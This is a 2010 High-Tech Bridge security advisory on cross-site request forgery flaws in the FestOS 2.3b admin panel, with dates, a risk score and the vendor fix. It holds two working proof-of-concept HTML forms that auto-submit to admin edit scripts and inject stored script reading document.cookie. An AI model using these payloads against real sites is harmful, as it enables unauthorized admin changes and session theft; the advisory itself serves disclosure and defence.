San Francisco: +1 (415) 635 3784  |  Geneva: +41 (022) 723 2424   |  
ImmuniWeb® Login | Register
ImmuniWeb® by High-Tech Bridge


High-Tech Bridge Newsletter

Subscribe to our newsletter and receive some or all of our corporate news, invitations to security events or HTB Security Advisories – you choose what you want to receive.

Cross-site Request Forgery (CSRF) Vulnerabilities in FestOS

Advisory ID:HTB22472
Product:FestOS
Vendor:Skypanther Studios, Inc
Vulnerable Versions:2.3b and probably prior
Tested Version:2.3b
Advisory Publication:July 1, 2010 [without technical details]
Vendor Notification:July 1, 2010
Public Disclosure:July 15, 2010
Vulnerability Type:Cross-Site Request Forgery [CWE-352]
Risk Level:Medium
CVSSv2 Base Score:4 (AV:N/AC:H/Au:N/C:N/I:P/A:P)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in FestOS which could be exploited to perform cross-site request forgery attacks.

1) Cross-site request forgery (CSRF) in FestOS
1.1 The vulnerability exists due to insufficient validation of the request origin in admin/do_pages_edit.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and edit pages. Due to insufficient sanitation of input data in the "title" parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.

Exploitation example:
<form action="http://host/admin/do_pages_edit.php" method="post" name="main" >
<input type="hidden" name="pageID" value="2" />
<input type="hidden" name="title" value='title"><script>alert(document.cookie)</script>' />
<input type="hidden" name="alias" value="home" />
<input type="hidden" name="active" value="1" />
<input type="hidden" name="contents" value='page content here...' />
</form>
<script>
document.main.submit();
</script>

1.2 The vulnerability exists due to insufficient validation of the request origin in admin/do_snippets_edit.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and modify snippets. Due to insufficient sanitation of input data in the "contents" parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.
Exploitation example:
<form action="http://host/admin/do_snippets_edit.php?tabname=Pages" method="post" name="main" >
<input type="hidden" name="snippetID" value="1" />
<input type="hidden" name="title" value="Site footer" />
<input type="hidden" name="active" value="1" />
<input type="hidden" name="contents" value='footer"><script>alert(document.cookie)</script>' />
</form>
<script>
document.main.submit();
</script>


ImmuniWeb® On-Demand Web Application Penetration Test


Solution:
Upgrade to version 2.3c.


References:
[1] High-Tech Bridge Advisory HTB22472 - https://www.htbridge.com/advisory/HTB22472 - Cross-site Request Forgery (CSRF) Vulnerabilities in FestOS
[2] FestOS - festengine.org - FestOS, the open source festival engine, is the modern and complete web solution to managing your arts and crafts festival.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
User Comments and Opinions


Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.